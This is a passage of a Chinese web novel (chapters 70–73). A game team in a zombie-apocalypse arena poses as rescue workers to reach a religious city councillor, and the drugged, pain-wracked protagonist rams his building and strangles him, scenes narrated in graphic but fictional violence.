终端信号被屏蔽得太厉害了,来回得有个几个小时才能收到消息,距离一旦远了,没办法同步更新彼此的信息,所以做了个可以减少信号屏蔽的内嵌程序,方便联系。 他和章诎试验过了,在游戏的对话框里发消息,是可以近乎同步的。 Q没说,但是其他队友懂。 小程序已经有了四个下载量,将铭也点进了下载。 终端下载着,他往后靠,也想休息。 但车门外传来了敲门声。 声音有点儿大,将铭看了温知初一眼,下车。 门外站着三个学生。 “那个什么…”一人开口,“还有吃的嘛…” 他不好意思地捂着自己的肚子:“能再分点给我们吗,真的是不好意思,我们太饿了。” [] [不是刚才零元购了那么多么,还来? ] [怎么好意思再问的? ] 将铭:“你们刚才吃的量,是我们三天的食物。” 此话落下,三个人尴尬地互相看了看。 “那你们还不走么?”另一个人问,“也许回到你们住的地方,就能有更多吃的了。” “是啊,不走么,我们在后面待很久了,要是等会儿有丧尸来了怎么办,还是先回去吧。” 将铭:“我们需要休息,尤其是驾驶员,她已经连续很长时间没睡过了,你们应该也不想她疲劳驾驶吧?” 其中一个人赶忙举手:“要不我来开怎么样?你们告诉我们住在哪儿,我直接开过去。” 将铭:“你会开车?” 那人道:“会…我爸教过我…确实是会的。” 将铭:“上过一次路?” 那人迟疑地开口:“开过不少次。” 眼睛躲闪,一看就是撒谎。 将铭:“开卡车并不容易,而且路上有太多障碍,还有丧尸,如果没有相关的经验,我们不会让给任何人开的。” 那些学生耸了耸肩:“那、那算了。” “没有 什么的话我就上车了。 ”将铭想转身。 “哥…”有人要拽将铭胳膊,不识相地正好拽的是将铭受伤的那只。 将铭侧过身,略微皱起眉。没碰到。 “不好意思,不好意思!不是故意的!”那学生举起手,“我就是还有事想说。” 将铭:“什么?” 高三四班的体委还是比较有耐心的。 学生:“就是那个…你们能不能派一个人帮我们修一修后车厢的门,那个门阖不上,还得我们手动拉,我们有点儿害怕。” [好矫情哦,连拉个门不愿意。 ] [这些人怎么被救了还这么多事儿啊。 ] [你不知道人就是这样嘛,会顺着杆子往上爬,试探别人的底线,想要更多的东西。 ] 将铭:“我知道尾门坏了,这个没有焊接工具没办法修,你们找找绳子或者什么长条的东西,捆着试试。” “那哥…我们什么都不懂,不知道怎么捆,你能不能帮帮我们?” 将铭指向自己悬挂着的胳膊:“我?” 这些学生还想说什么。 车窗下拉,露出了温知初面无表情的脸。 绳子从里面扔了出来,掉在了这些学生的脚下。 “喂。” 她冷淡地望着他们。 “觉得这里不安全的话,你们可以离开。” 说完,她望向将铭:“体委,上车。” 学生们噤声,将铭转朝他们:“接下来三个小时,请你们不要再打扰驾驶座这里了,好吗?” 他没有等答案,上了车,关上门。 门外三个学生僵了僵,最终拿着绳子回去了。 接下来的时间,他们是没有再来前面了,但是车厢内的动静很大。 间或传来“这根本捆不上的!”“捆不上啊!”的抱怨声。 后来这些人大概不再尝试着捆门了,不知道干什么,时不时传来乒乒乓乓的声音,跟在里面跳一样。 动静太大,将铭侧过头,却发现班长已经睡了。 应该是太疲惫了,陷入了完全的沉睡,呼吸平稳而轻。 将铭担心后面的人再闹什么事,他没闭眼,尽量小声地翻着《钢铁终焉》。 终端亮了。 他点进了下载好的小程序中。 程序出乎意料地稳定。 点进了大富翁的程序中,骰子转动着,有三个人连线,甚至还能共享镜头,看到互相的影象。 卡车内的镜头和写字楼不同地方的镜头交错着。 聊天框出现了文字。 一开始将铭还以为是邱任望那个话痨发来的,接收后,发现竟然是Yu发来的。 Yu很少主动说话来着。 Yu:[都还好? ] 将铭反应了会儿,挺意外Yu会问他这个。 将铭: [都还行。 ] 镜头的角落有沉睡的温知初,窗外的光影沉默地洒在她的侧脸,两侧手臂和手背都绑了绷带,泅着隐隐约约的血迹。 过于完美的轮廓让这幅光景看起来不像现实画面,带着温知初天生温和而冷淡的气息。 如门外的雾气,或隐或见,日光从中穿插而入。 镜头另一边的晏逾明,视线落在了镜头的一角。 片刻后。 Yu:[车上的遮阳板可以放下来。 ] 遮阳板?将铭抬头,望向自己跟前的遮阳板,为什么要放遮阳板? 本着对Yu的信任,他照办,把自己面前的遮阳板放下来了。 Yu:[……] 对面沉默了一会儿,将铭突然反应过来了,是日头太大了,容易睡不好, Yu这个意思,应该是把驾驶座前的遮阳板放下来,方便温知初睡得更安稳。 与此同时,对话框的消息传来。 Yu :[另一个遮阳板也可以放下来。 ] 镜头里,卡车周围鲜少有丧尸,忽略后车厢的嘈杂晃动声,一切似乎有种回到当初的静谧。 将铭把驾驶座前的遮阳板放下。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-80 第71章 大概也就安静了两个小时。 “啪啪啪啪!”车门用力地被敲着。 班长惺忪地睁开双眼。 将铭“啧”了一声放下书,打开车门。 “快走吧,快走快走!”门外的两个学生喊,“有丧尸来了, 越来越近, 我们快走!” 将铭探出车窗往外一看,确实有丧尸来了,不过只有两个,而且站得还很远,在灌木丛那里游荡着。 本来行动的轨迹不是往这里走的, 这些学生大嗓门一喊, 门用力一拍,俩丧尸才疑惑地往这儿摸索而来, 就这样,还有段距离。 [这些学生到底想怎么样啊?太过分了啊。 ] [就这么想去别人的驻扎点,这么急? ] [这么点儿功夫都坐不住么,让他们安分三个小时怎么这么难。 ] 将铭:“就两个,要不我去处理?” “现在这样两个,等会儿就说不定了, ”他们比划道,“实在你们如果还要留在这儿,就多分给我们一些食物怎么样,要不然后车厢真不是人待的,又闷又黑。” 无理取闹的话没说完, 卡车的引擎声响起。 卡车启动了。 驾驶座上, 温知初侧过脸,平静地看了他们一眼:“那就走吧。” 这么一说,外面的学生倒是愣住了。 “不走么?”她的语气温和得什至有些漫不经心。 话音落下, 卡车已然往前开了。 反应过来的学生们脸色一变,连忙扑向后车厢:“等等!” 卡车往前开着,两个学生飞奔着才窜到了车厢里。 卡车开得很快,再加上路不平,后车厢剧烈地晃动,里面的人身体跟着震,差点快被晃出去。 远离了暂歇的安全点,越往外开,丧尸越多,从几个到几十个再到几百个丧尸围聚着,卡车在丧尸群中撞动,速度变慢了些,那些丧尸争先恐后地也要爬上后车厢。 “我去我去!” “别让它们爬上来,快拉门,拉门!” 后车厢的学生们把没办法阖好的尾门紧紧地拽住。 尾门上的抓挠声刺耳到人忍不住缩脖子。 过了几十分钟后,卡车开出了丧尸群,又开始加速,速度越来越快,风声呼啸中,后车厢摇晃得颠簸,里面的学生晃动着,尾门也拽不住,吱呀地拍打着。 现在丧尸是追不上了,这些学生被震得想吐。 “慢点儿!” “能不能慢点儿!!!” 卡车的速度不可能变慢,毕竟这是在逃生,不是在春游,这些学生也知道,他们抱怨着,偶尔因为速度太快发出尖叫声。 “什么人啊,我们没说这么快出发,只是用个话术换点儿吃的…他们听不懂我们什么意思啊,有必要这么急着出发吗。” “真烦,这车坐得太难受了。” “本来以为是两个老好人,结果竟然也有脾气。” 034号:[你们来错时候了,如果早点儿来,说不定能享受到老好人对你们的优待了。 ] 现在宿主的耐心值只有4,再降低1个值就有反社会的倾向了,再老好人也老好人不到哪里去。 放在以前满值的耐心值,说不定真有可能把食物分给你们,顺带还能帮你们把车门也修好了。 · 三个小时后,卡车才停了,绕到了昨天晚上他们晚上说的另一个宗教救援点。 这里没有高楼,是片街道。 以前的商品一条街,主要卖家具的。 现在只能在地上看到成片破碎的玻璃、翻倒的摊位,和大片干涸的血迹。 街道旁扎着五个军用帐篷,搭的地方旁边正好是药店和小超市,从车上能看到小超市里有人在走动,看打扮是普通市民。 这附近显然被清杀过丧尸,相对比较安全。 卡车停的时候就有几个人从军用帐篷里走出来了,他们朝卡车这儿走过来。 这些救援人员走过来前,温知初和将铭已经把背包里的救援服给穿好了,头盔戴上。 配枪的救援人员走过来,敲车窗。 另几个救援人员走向后车厢,把车门打开,里面的学生往外看,一看到这些人腰上的枪,张着要说话的嘴立马闭上了。 立马有个人道:“是他们带我们来的,和我们无关。” 车窗撤了下来,外头的人直接趴在车窗上往里看:“就你们两个人?” 将铭点头,顺其自然地回答:“其他人在其他地方营救。” 后面的救援人员把这些学生架下来了,站在驾驶座旁的救援人员对他们比了个手势。 自己人。 “厉害啊,到哪儿找到这么多年轻人,一下子就把最近几天的目标给达成了。”那人道。 将铭:“路上碰到的,九个人,都是学生。” [什么意思,营救目标? ] [意思是终焉教比较需要年轻的血液样本之类的? ] 救援人员倚在车头:“你们哪个点的,怎么没见过?” 温知初往窗外看:“写字楼。” “啊”那人神情有些羡慕,“比我们这儿好多了。总部啊。你们真的能一天吃两顿?” 将铭沉默地点头。 看起来聊得挺放松的,其实放在椅侧的手臂略微绷紧,随时准备应对突发情况。 不过聊天的过程确实挺顺利的,毕竟救援服不是谁都能拿到,而且他们两个人确实知道写字楼那里的状况,并且也救来了人,几乎可以以假乱真。 站车头外的三个救援人员唠得放松了下来,要让他们下来一起吃顿饭。 “不了。”将铭叹了口气,“还有任务,先把人安置在这里。” “任务重要,”那人问,“你什么任务啊。” 将铭:“刚才队长联系,说市议长找我们,但是刚才营救的过程我们的通讯器坏了,没办法联系队长,不知道市议长现在在哪个点” 他缓慢而试探地问:“兄弟,你们知道吗?” “你等等我帮你去问问我们队长。”那人往回走。 卡车旁暂时安静了下来,温知初望向站在药店门口的那几个学生。 他们被分了食物,手上捧着碗对那些救援人员道谢,坐在药店门口开始吃饭。 他们也望向卡车的方向,心里有点儿狐疑这俩人不是隔壁区的高中生么,怎么听这些人喊是救援人员虽然现在确实穿的是救援服。 那为什么刚开始见面的时候穿的是校服,总不可能在Cosplay 。 有几个人端着饭,走过来,好像想听听他们在和这里的工作人员聊什么。 温知初垂眼,望向车窗外:“等会儿我们离开。” 她似笑非笑:“要和我们一起走么?” 这几个学生一听,立马后退了:“我觉得这里挺好的” 这个空档,进去找队长问话的工作人员出来了:“问到了。” 他走近说:“市议长前几天在东城区那个寺庙点营救。” 是他们之前搜寻过的地方之一。 “赶巧,他今天刚回了写字楼的点,也就是你们那个点,你们直接回去找就行了。”救援人员道。 [市议长回写字楼了? ] [啊,岂不是和将铭他们的路线正好错开了,怪不得一直没找到人。 ] [<深渊>绝对是故意的。 ] “好。”温知初道,“谢谢。” 将铭:“那我们回去了。” · 写字楼八楼。 下午五点,黄昏的余晖从窗户里洒进禁闭室,这已经是TRES进入域的第五天,精神力耗竭的边缘。 禁闭室周围十分安静,尤其是关着副班长的这个禁闭室,根本就没人靠近,仿佛没人在意这里还有一个活人。 越安静,越显得隔壁的动静清晰。 隔壁的那东西,每天都会大概有三个小时左右的时间是清醒的,发出奇怪的、爬动的动静,每天都会有人在那时过来送餐。 同样是送餐,给那东西送餐,也不会给旁边的活人送餐。 意思很明显了。 从副班长进入禁闭室的那一天起,所谓的十天的禁闭,根本没准备让他活着。 禁闭室内,晏逾明手中的书已经看到了中间。 墙上的挂钟上贴了一幅圣父救世图,眼睛是往图外看的,像是在监视这房间内的一切。 终端亮了。 大富翁的小程序里不断有对话框弹出信息。 孚: [十二楼排查了,没有市议长。 ] Q:[八楼到十一楼排查了,没有市议长的踪迹。 ] 孚:[五楼到七楼没人。 ] 诎: [二楼到四楼也没人。 ] 一楼封着,没人能进去。 和救援人员说得不同,写字楼这里并没有市议长回来的消息,也没有市议长的人影。 晏逾明的手指靠近光屏,正准备输入些什么,敲门声响起。 他抬眼。 这里已经很久没有动静了。 敲门声很躁,声音大而急。 门打开后,浮现的是一张想象之外的脸,晏逾明淡漠地往外看。 李奂壬笑道:“你好。” 他站得每个正形,虽然笑着,右手却背在身后,手上拿着一把尖锐而长的三棱·刀。 这是他这轮抽到的杀戮武器。 “哟。”他看向晏逾明手上的终端,“副班长心情不错啊,还在玩游戏。” 终端上,大富翁的骰子不停地转动着。 晏逾明:“什么事。” “还能有什么事。”李奂壬笑道,“你知道的,不只你们TRES有任务,我们也有任务呗。” 背后的刀柄握得更紧了,他笑得两边的嘴角都往上提:“副班长,你把里面的门也打开呗。” 卡车从帐篷点离开了,温知初的视线投向后视镜,镜面的反射中,那些学生凑在救援人员的身旁说了些什么。 救援人员立即抬起眼,望向快要开走的卡车:“喂,停下!” 这些人跑了起来,显然发现了他们的异常。 卡车怎么可能停下,轮胎卷起碎石和灰尘,车位甩着往外冲,方向盘猛打,轮胎在地上发出刺耳的摩擦声,颠簸着。 “停下!”后面响起了枪声。 温知初的手平稳地握在方向盘上,车身一震,撞开路边歪斜的护栏,斜冲向下坡道,甩开了后面的追击。 与此同时,禁闭室的铁栅栏门被拉开了,李奂壬不可置信地侧了侧脑袋,没想到晏逾明真的给他开了门:“就这么直接放我进来了,你未必对自己太自信了吧。” 终端再次亮起。 晏逾明对门外的人置若罔闻,望向了对话框。 Wen:[一楼呢,去一楼看看。 ] 孚:[市议长不可能在一楼,一楼被封住了,从外面进不去,从大楼里也进不去。 ] Wen:[我们进不去,不代表市议长进不去。 ] 疾驰的卡车驶向了坡道下的丧尸群,温知初平静地往外看:“他在一楼。” 第72章 “我就说他们不正常吧。”那些学生看着走回来的救援人员道, “他们一开始穿的是校服。” 救援人员脸色难看地低声骂了声,而后赶紧进帐篷,去联系写字楼点的救援人员。 帐篷内不停响起高昂的喊声和应答声。 “他们应该是在找市议长,不知道要干什么…对…是…知道了!” 不一会儿, 他们另外追上去的吉普车回来了, 上面下来了四个救援人员。 其他人问:“没追回来?” 他们摇头:“胆子真大,直接往丧尸堆里开,我们不可能继续跟着他们。” 学生们望着这些人的神情,内部也有些愕然。 这么多人都没追上而且这么多人追,真是做了什么不好的事啊?那两个人到底想干什么? 他们唯恐自己被牵连,都在和那两人澄清关系:“我们真的只是路上和他们碰上的,真不知道他们想要干什么。” 救援人员望着他们,倒也没说什么。 通知完写字楼点后,帐篷内外的氛围稍微好了些, 起码有所准备了。 救援人员走到这些学生面前:“还得谢谢你们,如果不是你们及时说了,我们也不知道他们竟然是假扮的救援人员。” “对了,”他们继续道, “对于那两个人,你们还有什么其他知道的么?” 学生们摇了摇头:“真是路上碰到的,只知道两个人脾气都不怎么好,不怎么愿意主动分食物。我们也不知道他们具体干什么的,给人的感觉生存经验挺丰富的,不像单纯的学生。” 救援人员点点头:“没什么事,你们各自去休息吧。” 救援人员要走,学生们又围了上去:“哥,问你个问题, 你们这里是宗教点吧,我看到你们在看终焉教的经书。” 那人停下脚步:“你们知道终焉教?” 学生们:“多少听说过。” 他们簇拥在救援人员身边,纷纷说了些以前对于终焉教的见闻。 “我以前就知道啊,之前学校组织过一些志愿活动,有些就是和终焉教合作的。” “是啊,终焉教一直其实都在默默付出,我们都知道的。” “现在还有这么多救援点,哥,真的多亏了有你们终焉教。” 有学生望着帐篷外的水果箱子:“是啊,哥,都说入乡随俗,哥…我们也可以加入你们这个宗教吗?” 其他学生跟着说:“是啊,我们也想加入你们,成为信徒,只要你们给我们更多的食物就行了。” 救援人员互相对视,而后看向这些年轻朝气的少年:“好啊。” “真的?!”学生们惊喜地露出了笑。 “当然。”为首的救援队长道,“不过在此之前,能请你们帮一些忙么?” 学生们:“什么忙?” 救援人员:“我们有工作人员受伤了,需要输血,你们每个人都献一些血,来救助你们未来的同伴。” 救援队长笑得很和蔼:“我相信你们都愿意的吧。” · 写字楼内气氛十分凝重。 已然是黄昏。 写字楼内因为街道点传来的消息,进入了戒备状态,救援人员把所有的市民和学生都聚集在十二楼,封闭所有门窗。 除了八楼的晏逾明,其他的TRES的队员全都被关在了十二楼。 工作人员把十二楼楼道口的门也封住了,不让所有人下楼:“今天可能有不法分子来袭击市议长,在确定安全之前,所有人都不要出来。” 市民们:“市议长?市议长回来了么?他在哪里?” 工作人员没说是,也没说不是,门关上后,脚步声逐渐远离。 救援人员排查完所有楼层都没有外来人员后,都聚到了二楼不同的窗口前,坚守着,预防窗外的任何异常状况。 窗外的黄昏已然近傍晚。 春天虽然到来不久,但已经有不少蚊子出现,天完全黑下来了,外面很安静,几个救援人员已经等得不太耐烦了,拍着手臂上的蚊子。 “也就两个人,不太可能会直接闯我们这个救援点吧,我不信单凭两个人能过来。” “说不定不止两个人呢,有可能有其他同伙。” “他们找市议长干什么?” “谁知道啊,反教徒之类的吧。” 二楼的各个窗口,枪口全都对朝外。 写字楼外的夜色相对安静,游荡在外的卡车却是在嘈杂的丧尸吼叫声中不断掉头,轮胎的倾轧声十分刺耳。 卡车内,温知初冷静地打着方向盘,冲开丧尸群后,卡车快速地绕进了大路。 她的余光看到了右手边摇摇晃晃的将铭。 将铭的状态不太好。 他的脸色十分苍白,额头上都是冷汗,身体随着卡车的摇晃而不受控地摇摆着,上半身缓慢地往下倒,眼见着就要倒下。 卡车下坡后,速度逐渐减慢,温知初一只手握着方向盘,一只手扶住将铭不断下坠的上半身。 卡车停下。 温知初侧过身。 将铭被她扶着靠在座椅上,胸膛处微弱地上下起伏,呼吸声听起来有些艰难,肩胛骨的伤痛显然在加深。 温知初的手放在他的额头上。低烧。 就着水给将铭喂了两片药,他看起来没什么好转,眼睛越眯越小。 温知初:“什么感觉?”她问。 “晕。”将铭连逞强的力气都没有了,“休息一会儿行吗?” 温知初:“嗯。” 卡车停在了路边,温知初把窗户打开了一条缝,让将铭能呼吸到从缝隙蹿进来的风。 她望向窗外,安静地盯着那些在不远处游荡的丧尸。 如果将铭这会儿状态还正常,他能发现驾驶座上的温知初的脸色比他还苍白,几乎快和纸差不多了。 034号看了眼将铭的生命体征,再看了眼宿主的生命体征。 将铭的疼痛值是宿主的千分之一…宿主现在的身体就像一个快要被引爆的手榴弹,内部的压力随时有可能会伴随着爆炸声炸毁金属外壳,四分五裂地撕毁躯体。 034号实在无法想象,宿主到底是如何忍耐得如此平静无声的。 明明如此疼痛。 温知初从口袋中拿出了那瓶药。 原本满满当当的药瓶,这么几天下来,竟然只剩下两片了。 她垂眼,盯着那两片药,似乎在思考什么时候吞下这两片药。 光屏亮了。 温知初抬起手。 一个好消息,一个坏消息。 坏消息查验又失败了,没有找出新的敌方。 好消息是市议长的定位点终于被找出来了,章诎分享了他的权限地图。 市议长这个光点确实在写字楼内亮着,放大定位、再放大—— 诎: [在一楼。 ] 诎: [一楼,靠近东门。 ] Wen:[收到。 ] 她侧过脑袋,望向将铭。 将铭因为药效已经睡了过去,头侧着倚靠在椅子上。 温知初侧过身,把安全带给他系上。 后视镜内,已经有不少丧尸围聚了过来,身体不停地撞击车厢,手掌在车皮上留下一道道腐烂的手印。 该出发了。 · 新的敌方还没有找出来是最大的问题。 TRES的队员绝对撑不到第六天了,大家都心知肚明,各自的精神力耗竭已经到了一个极点,再在这里待下去,角色外的身体绝对会衰竭而亡。 现如今,能确定敌方总共就两个人。 其一陈付讫已经被温知初给了结了。 剩下的一个,就是李奂壬了。 [敌方只找到了两个人,接下来该怎么办? ] [时间不够了,难道要盲杀? ] [盲杀呗,反正都是NPC 。 ] [楼上别太过分了,如果我说你是NPC,我是不是也能直接杀了你? ] [别吵了,就算盲杀也不可能啊,没有剧情脱离的权限了,TRES的队员里,除了副班长这个角色,其他哪个学生角色能做到“盲杀”这种违反人性的事?没有了,这条路走不通。 ] [李奂壬在哪里?这轮他必须死。 ] [八楼。 ] 八楼,禁闭室的门已经被关上了。 里面的嘈杂,从李奂壬进去后,大概维持了二三个小时。 李奂壬能在域里待这么久,显然是一个S级的硬茬头,而且权限比TRES的队员多太多,全点在了战斗上。 他本身就是个Carn位。 而晏逾明这一轮的武器,是一把极短的匕首,由是这场权限极其不平等的战斗,这才维持了这么久。 期间李奂壬其实已经死过了一次,但不知道他用了什么权限,又醒来了一次。 不过,无论这些权限到底是什么,现在的禁闭室内已然彻底安静了。 房间内的灯被点亮,窗户打开,流通太过血腥的空气。 带血的匕首被扔在了地上。 门前,李奂壬的躯体坐在门和墙间,喉咙处被匕首划出了极大的一个洞。 血从门的缝隙不断往外流。 他死了。 冰冷的电子音在半空响起: [TRES再次击杀敌方一人,现累计击杀敌方二人,击杀目标达成2/3 。 ] [请注意,尽快在精神力耗竭前找到并见到市议长,完成第二个剧情目标。 ] 窗边,晏逾明站着,用纸擦拭着手上的血渍,他深邃的眼神透过夜色往外看,似乎在等待着什么。 目光所及之外,卡车已经驶入了通往写字楼的就近道路。 近了。 卡车内,将铭歪斜地睡在副驾驶座,卡车的大灯亮着,在温知初的操纵下驾驶着,比起之前的安稳,卡车的驶速有些急躁,显然不是温知初平时的风格。 大灯不安定地亮了亮。 因为她的耐心值降低到了3。 最后的那两片药,温知初吃了。 极度压抑的疼痛让人温知初的视线不太稳定,晦暗的车室内,温知初没有握着方向盘的那只手捂住自己的鼻子,血不断从手指的缝隙往下流淌。 血、血、血到处都是血,幻觉不停息。 卡车外是血,卡车内是血,挤满车窗视线的血,蔓延着爬上脖颈的血,让人无法呼吸的血。 不知名的烦躁情绪在躯体内挣扎,温知初屏住呼吸,竭力地控制自己想要做些什么极端事情的冲动。 但似乎克制不住。 卡车的速度越来越快了,血不断流淌着。 身体就像弹药,外壳逐渐皲裂,疼痛让人的理智爆炸。 一切负面的、黑暗的、不好的念头伴随着疼痛侵袭向温知初的脑袋,让她握着方向盘的手不断攥紧,紧到几乎要攥碎手下之物。 车窗大开,这种不受控却依旧无法缓解。 温知初捂住脸的手,血根本捂不住,她的下半张脸几乎快要被血糊住,双眼的瞳孔逐渐涣散。 [宿主! ] [宿主! ! ! ] 034号的警报声响彻脑海,但是在温知初的感官中,早就模糊得听不清,她的脑海中,只剩下了车窗外逐渐逼近的写字楼。 [宿主!停下!停下!快撞上了! ! ! ] 弹幕也乱成了一团。 [小温怎么了? ] [小温的生命体征好像崩了,不知道是不是因为药效,她好像不受控了。 ] [她为什么不停下,再这么下去,会暴露的! ] 已经暴露了,密集的枪声响起,从写字楼的二楼窗户往外扫射,击打在卡车的车身。 “啪嗒”一声,侧面的车玻璃碎了,玻璃渣滓飞溅在温知初的身上,枪声中,温知初依旧没有停下,摇晃的车身中,她的脸糊满了血,嘴角却露出了笑。 血、血、血,到处都是血。 致幻产生的声音在她耳畔不停响着。 毁灭。 毁灭。 让一切都毁灭。 一切已经没有理智透进来的缝隙。 写字楼内外,噪杂声密集炸开。 “砰砰砰砰砰!” 有不断响起的枪声,有被吸引而来的丧尸声,有救援人员拿着喇叭威胁卡车离开的吼叫声,有光屏不断亮弹出的急切讯息声。 所有都看出来一向最沉稳的温知初不受控了。 [宿主!停下!停下! ] [宿主! ! ! ] 温知初听不见。 在第三轮域中,她压抑的所有疼痛全都爆发、反噬了,她什么都听不见,只听见自己内心的最负面、粘稠的黑暗,正如记忆中被封存的她一样。 卡车轮胎的倾轧声刺耳至极,在枪声的围堵下,没有任何犹豫地继续往前冲。 034号绝望了。 它就知道,如此反人类地服用这些药,忍耐如此之久的疼痛,绝对会反噬的。 轰鸣的卡车在枪声中如同发疯般撞向了写字楼。 “砰——!” 巨响轰然响起。 玻璃、金属、警报器的尖啸混成一片,像潮水从东门崩开的缝隙中灌入这幢死气沉沉的大楼。门被撞得四分五裂,碎玻璃雨点般砸在挡风玻璃上,发出密集的碎响。金属门框折断,半截卡在车头,被拖着往里碾压。 东门被活生生撞开了,里面显然有人,尖叫声和枪声不断响起。 而卡车不断摇晃着,副驾驶座的安全气囊被温知初弹了出来,覆盖在昏迷的将铭身上。 浓烟中,卡车没有停下,车头左右摇晃,在墙壁不断倒塌的情况下,似乎撞倒了不少人,车头不断传来闷响声,枪声弱了。 “市议长!” “市议长!!” “快去救市议长!” 温知初布满红血丝的双眼往外看,车头前,被人群拎着往外的是一个普通长相的中年男人。 在车撞进来之前他似乎坐在椅子上,此时瞪圆了双眼,惊恐地望着卡车。 市议长。 听到这个词,失控的温知初像是条件反射般地抬起了眼。 [TRES达成剧情目标之一,成功见到市议长。 ] 可卡车没停。 温知初的脚下,离合被深深地踩了下去。 浓烟中的嗡鸣声中,卡车缓慢地后退,而后再次往前碾了过去。 尖叫声不断响起。 “砰!” “砰砰!” 人群接连被撞倒,市议长也摔在了地上,卡车的轮胎缓慢地往前倾轧,有骨头碎裂的声音在外响起。 卡车终于停了。 烟雾中,车门被“哐”得推开。 地上是尖叫的人群。 温知初摇摇晃晃地走了下来,步伐踉跄,视野里都是昏红的,额头因为之前的撞击不停地往下流血。 她走到了市议长面前。 市议长的双腿置于血泊中,是一个极其普通的长相,普通到不像一个宗教的领头人可谁又不是普通人呢。 他仰头望着温知初,声音颤抖:“你、你到底是谁?” “谁派你来的?” “你要什么,我可以给你钱,也可以给你血,我有很多…” 他还在说。 温知初根本听不见,按照本能行动着,缓慢地摘下了手腕 的细长项链。 她俯身,冰凉的项链套在了市议长的脖子上。 “抱歉。”她低声道。 别人无法盲杀,但是患有精神疾病的班长可以。 项链兀然收紧,锋利的切口嵌入皮肉,越来越紧、越来越紧… 市议长不明所以地挣扎着,想说些什么但是已经说不出来了,双手拼命往上抬,想要挥开温知初的双臂。 根本挥不开。 无论他如何挣扎,温知初都平稳地站着,垂下的双眼充斥着密集的红血丝,手上细链的力道越来越紧,链子下的挣扎动静越来越大、越来越激烈,到达一个极点后,挣动的幅度变小了。 直至彻底没了动静。 市议长垂下了脑袋。 细链绞进了皮肉中,深可见骨。 [TRES再次击杀敌方一人,现累计击杀敌方三人,击杀目标完成。 ] [TRES完成本轮所有剧情目标。 ] 温知初缓慢地收回了手中沾满血的细链,血珠从睫毛上滴落。 赌对了啊。 她往后退了一步。 市议长的头颅掉了下来,砸在了她的脚边,电子音落下,温知初疼痛到极点的躯体也踉跄地后退,沿着墙身往下倒,血不断从她的身上往下流淌。 她低声笑着,望向那些从东门跑进来,端着枪口对准她的救援人员。 通红的双眼中,似乎还有残留的杀戮和毁灭欲望。 [第三轮域结束,恭喜TRES战队获得胜利,正在为队员们退出。 ] 浓烟弥散。 第73章 第三轮域终于落幕了,历时将近六天。 精神力损耗骇然。 上次的第二轮域,待了四天的队员们都昏迷了三个月左右,更不用说第三轮域带来的后果。 这些时日, 基地内的气氛一直十分低沉。 众人前往域的时候还是夏日,现在,已然是凛冬将至。 之前有关精神力的特训还是有用的, 起码队员们的生命体征没有彻底熄灭。 十月到十一月份之间, 队员们陆续醒来了。 最先醒来的是没有受伤的晏逾明、屈孚宁和章诎。 十一月初,邱任望醒来了, 因为第二轮域精神药物对他的精神力还有残余影响, 这才醒来得稍晚些,漫长的昏迷中, 他左眼的伤快好了,不过还不能见光。 十一月中旬,在域里肩胛骨受伤的将铭醒来了。 但是…受伤最严重的温知初始终没有醒来。 严重到教练和训练官都不知道她还能不能醒来。她的身体状况太危险了,脱离域的当场几乎没抢救回来。 生命体征各项值就像压力锅的指针,不断飘红,让医生看得心惊胆战。 她一直待在ICU。 胸腔塌陷、右肺贯穿、多处骨折、失血过多、精神力停摆、心脏一度停止跳动。 透过ICU的玻璃往里看,温知初的身上插满管线,氧气罩紧贴在面部,病床外连着数台维生装置。 她安静地躺着,眼睫在晦暗的光下接近透明,发丝铺在苍白的床单上。 房间没有灯, 只剩晨光一点一点推开窗帘缝隙, 落在她的手腕上。 那里本来戴着被血浸得发黑的项链,已经被护士给剪掉了。 离开域后,所有人才知道她到底经历了什么。 域里, 她竟然在不断服用精神控制类的药物。 此类药物,邱任望上一轮吃了三片,就被逼到用刀刃划破全身,扎穿眼眶后自戕的程度…这样的药,在六天里,温知初吃了一整瓶。 独自忍受着疼痛,竟然没有任何人发现她的异常。 也许Yu察觉过,但也以为那是患有精神疾病的班长人物设定带来的变化。 在这持续不断的疼痛中,温知初穿过校园到达了写字楼,又离开写字楼去寻找市议长、期间还救了一群高中生、最后还失控地撞向了写字楼… 域结束后,众人这才看到了赛程中温知初从开始到结尾都疮痍的生命体征和疼痛值。 难以置信。 看着这些数值都会疼痛的程度。 那些看过第三轮域直播的观众很惊瞠,他们是看着温知初一路这么过来的,但是他们当时无法看到她的生命数值,见她表面无碍,还以为她吃的药其实和邱任望的那瓶不一样。 现在他们看到了真相。 所有的无碍根本都是伪装的。这一整瓶药,代表的难以想象的痛苦…温知初到底是如何忍耐的… 光是想想,自己好像也痛得喘不上气来了。 一直无法醒来的温知初让大家都很心痛,最近TRES的论坛里,全都是为了温知初祈福的帖子,害怕她永远都醒不来了。 可是…经历了这么多,服用了如此大量的精神控制类药物,怎么可能醒来呢… 基地里的气氛太凝重了,恢复训练的队员们缄默不言,根本无法集中,尤其是章诎。 章诎是这一轮负责统筹战术的主Tactic ,可他竟然一点都没发现自己的队员在经历着什么,他真的丝毫都没察觉到温知初的不对劲。 如果他知道,他绝对不会让温知初离开写字楼,在如此痛苦中还要兼顾那么多事情。 这无异于自戕。 其他队员基本上都是这样的心境,作为队友,他们没有发现温知初完全没把自己的性命当回事。 放任其走向了毁灭。 就连一直很冷静的将铭,醒来后的一个月里都消沉到无法参加训练。 他在温知初最危险的时候坐在副驾驶座上,竟然也没察觉出她的异常,说是润喉糖他就信了,那样的状态下,温知初绝对要比只是肩胛骨受伤的他要苦痛千倍,但扮演的却是一个照顾他的角色。 将铭觉得自己简直不是个人。 最近大家很少在基地里看到Yu,他一直在外调动医疗资源,基地内的医护人员救不了温知初,但他们绝对不可能放任她不管。 队友们罕见地见到了Yu的情绪外露,现在的医护人员,是他从其他基地抢过来的。 Yu买下了那个天价的基地,把医疗资源并入了TRES基地。 034号其实有些茫然。 它有些看不懂,为什么Yu要救宿主,按照他的角度,放任宿主死去不就行了么… 可就算这样,温知初还是没有醒来。 从十一月到十二月,天气越来越冷,TRES的队员们已经恢复训练整整一个月,医疗配备换了三批,温知初没有任何醒来的迹象。 生命体征缓慢而虚弱地跳动着,好像永远都醒不来了。 · 不知不觉,已经是12月30日的傍晚。 最近<深渊>里到处洋溢着快要迎来3047年的欣喜气氛,市区街道到处挂上了彩灯,巨大的跨年倒计时浮空牌呈现在市中心的天空上,商场里的人们抢购着迎接新年的用物。 五彩斑斓的霓虹灯闪烁着繁华的喜悦。 TRES的基地内是截然相反的肃穆,没有像往年一样张灯结彩,训练日程沉重而拥挤,完全没有即将跨年的气氛。 